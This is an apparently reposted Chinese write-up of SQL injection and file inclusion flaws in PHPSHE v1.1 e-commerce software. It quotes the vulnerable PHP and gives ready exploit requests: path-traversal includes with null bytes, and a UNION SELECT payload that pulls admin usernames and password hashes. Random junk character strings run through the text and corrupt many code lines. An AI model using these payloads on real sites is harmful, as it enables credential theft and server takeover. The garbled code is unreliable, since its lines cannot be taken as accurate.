phpshe v1.1多处SQL注入和文件包含漏洞Getshell

admin

/*******************************************************/
0 d) j1 v  k# N) M! A+ F/* Phpshe v1.1 Vulnerability
# q0 `8 R4 r! _  K) W/* ========================
/* By: : Kn1f3
/* E-Mail : 681796@qq.com
/*******************************************************/
& A$ G/ k* T; F( F0×00 整体大概参数传输
$ q5 E$ U, I! k8 i


//common.php
if (get_magic_quotes_gpc()) {
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
+ v6 e/ w' ^- g  L!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
else {
& h/ @8 P. g* m% s$ k2 Q!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}
session_start();
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
* p# p4 `( A, Z3 Y4 ^* ]. O- n2 C!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
6 M7 A& R- G2 E; Y& j
0×01 包含漏洞


. h; N& I, ?* m9 s//首页文件
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
$ D! w/ B& p- _( `. Z) vinclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
8 f. V: a7 c: p% u9 b- Jpe_result();
+ ?# b; h/ N6 \* Z3 U0 g0 i$ W% Z% R. c?>
//common 文件 第15行开始
6 m) V- U& @+ {6 J5 o! Kurl路由配置
$module = $mod = $act = 'index';
! C1 E' z# Y, U6 h/ B  S! p2 f$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
. t- I7 F! N% p$ h* N$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
8 P" @" P" s7 X* |//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00

0×02 搜索注入
2 ?9 K; v+ C! v0 Y3 J" _  _, V5 ~
7 U7 S! O  r: g4 W1 O+ c: Y<code id="code2">

//product.php文件
; y5 @  x* U# ?$ Pcase 'list':
$category_id = intval($id);
$info = $db->pe_select('category', array('category_id'=>$category_id));
//搜索
! t+ k. A# m. Y8 a$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');
if ($category_id) {
3 T2 T; ~' m0 J! pwhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
# M$ ]; g9 S, m$ @}
2 z# A7 u  e6 Y( ]7 V1 I$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
if ($_g_orderby) {
( o( z0 f: z0 f$orderby = explode('_', $_g_orderby);
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
}
6 f& N( b4 O! W! ~( K2 Qelse {
) [5 R7 D" s0 y+ l4 z$sqlwhere .= " order by `product_id` desc";
5 u1 B$ K5 F+ t( x6 ?0 C8 Q/ @}
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行
" h( G) y, `+ L$ H$product_hotlist = product_hotlist();
//当前路径
- Z+ f& a/ L" r5 t9 O" N6 ]3 F$nowpath = category_path($category_id);
$seo = pe_seo($info['category_name']);
% s! s& I  H& {$ [- j: Dinclude(pe_tpl('product_list.html'));
//跟进selectall函数库
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
5 Q5 t/ ?5 j  M& N* N  r{
//处理条件语句
$sqlwhere = $this->_dowhere($where);
4 J$ ^% T6 s5 o4 g% l+ V/ Ireturn $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
% n0 q; j6 e: R9 H}
//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1

</code>

0×03 包含漏洞2

6 S9 ?; X( ~( k5 C* {4 ]0 ?<code id="code3">

//order.php

case 'pay':

$order_id = pe_dbhold($_g_id);

& `& T7 v/ N' X9 D, K$ X( h! v$cache_payway = cache::get('payway');

foreach($cache_payway as $k => $v) {

  s" A* E, M  B9 S0 o$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

* N( X, o0 o. sif ($k == 'bank') {

$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

' ~( _+ e3 f$ n/ l7 u}

) s6 |( r* J0 j! Q) a; y- ?) l}

$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

  q* ~$ y) V$ o!$order['order_id'] && pe_error('订单号错误...');

) u+ G- k* b1 s7 Cif (isset($_p_pesubmit)) {

* ?6 j* x3 C& z6 ]if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

foreach ($info_list as $v) {

$order['order_name'] .= "{$v['product_name']};";
  [) ?  }$ E$ n. R7 m% W, M

}

echo '正在为您连接支付网站，请稍后...';

include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

4 ?2 Z! J3 r' R2 \1 m0 @}//当一切准备好的时候就可以进行"鸡肋包含了"

6 D8 L  Q9 q3 h8 g: _. felse {

8 j( B& A! G- k4 hpe_error('支付错误...');

- v! ]2 |, j( s3 C+ Q}

}

2 Z+ N9 H1 Q6 `* k9 w$seo = pe_seo('选择支付方式');

include(pe_tpl('order_pay.html'));

break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
2 S( i# S: d' s, xhttp://www.myhack58.com/Article/UploadPic/2013-4/20134161293183866.jpg